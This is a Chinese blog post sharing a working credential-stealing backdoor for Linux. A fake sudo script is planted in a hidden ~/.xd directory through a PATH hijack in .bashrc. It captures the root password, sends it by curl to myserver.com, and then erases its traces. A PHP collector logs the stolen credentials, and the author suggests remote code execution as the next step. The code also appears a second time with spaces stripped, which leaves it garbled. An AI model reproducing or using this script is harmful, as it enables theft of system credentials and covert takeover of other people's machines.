窃取linux root密码,[后门艺术]sudo下窃取root密码 | 独木の白帆

前几天在GitHub上看到一大牛的sudo下窃取root用户密码的shell脚本,测试了下还非常管用。真可谓是居家旅行,杀人放火的必备工具啊,所以不敢私藏,在此分享给所有渗透狗~_~

废话就不说了,直接上脚本:

Shell

#!/bin/bash

/usr/bin/sudo -k

i=0

while [ $i != 3 ]; do

echo -n "[siii] password for $(whoami): "

read -s xd

echo

echo -e "$xd\n"| /usr/bin/sudo -S true 2>/dev/null

if /usr/bin/sudo -n true 2>/dev/null; then

break

else

echo "Sorry, try again."

fi

unset xd

let i=$i+1

done

if ! /usr/bin/sudo -n true 2>/dev/null; then

echo "sudo: 3 incorrect password attempts"

exit 1

fi

sed -i "/\.xd/d" ~/.bashrc

export PATH=$(echo $PATH| cut -d: -f2-)

echo -e "$xd\n" | /usr/bin/sudo -S "$@"

if [ "$(ping myserver.com -c1 2>/dev/null)" ]; then

curl -s myserver.com/example.php?user=$(whoami)\&pass=$xd 2>/dev/null

sleep 2 && ln -f -s /usr/bin/sudo ~/.xd/sudo &

rm $0

fi

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

#!/bin/bash

/usr/bin/sudo-k

i=0

while[$i!=3];do

echo-n"[siii] password for $(whoami): "

read-sxd

echo

echo-e"$xd\n"|/usr/bin/sudo-Strue2>/dev/null

if/usr/bin/sudo-ntrue2>/dev/null;then

break

else

echo"Sorry, try again."

fi

unsetxd

leti=$i+1

done

if!/usr/bin/sudo-ntrue2>/dev/null;then

echo"sudo: 3 incorrect password attempts"

exit1

fi

sed-i"/\.xd/d"~/.bashrc

exportPATH=$(echo$PATH|cut-d:-f2-)

echo-e"$xd\n"|/usr/bin/sudo-S"$@"

if["$(ping myserver.com -c1 2>/dev/null)"];then

curl-smyserver.com/example.php?user=$(whoami)\&pass=$xd2>/dev/null

sleep2&&ln-f-s/usr/bin/sudo~/.xd/sudo&

rm$0

fi

使用之前,需要在目标机子上做点小改动(当然,需要有一般用户权限):

Step1: 在目标系统上新建一个隐藏的目录:

mkdir ~/.xd

1

2

mkdir~/.xd

Step2: 在目标系统经常登录的用户的bashrc文件中添加环境变量:

echo "export PATH=~/.xd:\$PATH" >> ~/.bashrc

1

2

echo"export PATH=~/.xd:\$PATH">>~/.bashrc

Step3: 将github上的这个sudo脚本放到刚建立的隐藏目录下面,并给于执行权限:

chmod +x ~/.xd/sudo

1

chmod+x~/.xd/sudo

Step4: 根据脚本最后几行可知,该脚本会将获取到的root密码通过HTTP的GET方式发送到远程服务器上,所以写个简单的接收账户密码的php文件:

PHP

$user = $_GET['user'];

$pass = $_GET['pass'];

$f = fopen('./users_log.txt','a+');

fwrite($f, $user);

fwrite($f, "&");

fwrite($f, $pass);

fwrite($f, "\n");

fclose($f);

?>

1

2

3

4

5

6

7

8

9

10

11

12

13

$user=$_GET['user'];

$pass=$_GET['pass'];

$f=fopen('./users_log.txt','a+');

fwrite($f,$user);

fwrite($f,"&");

fwrite($f,$pass);

fwrite($f,"\n");

fclose($f);

?>

下面是我做的一个简单测试:

7447776259d9b6f8403bb6fc8fae294a.png

注意,在使用系统的sudo时上面的提示是“[sudo]”而不是“[siii]”,这里只是为了方便演示而已。下面的是在远程服务器上接收到的账户:

bce8430ec6513878ca37b7c9e25dbc33.png

这个脚本还算是比较“聪明”的,在获取到root密码之后会删掉之前添加到bashrc中的环境变量,并且删除自身。正如作者所认为的,这只是个POC,聪明的人肯定会想到,在拿到root权限之后可以远程下载执行指令等等。。。这个,还是留着大伙儿回去边撸边思考吧。我只是大自然的搬运工!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值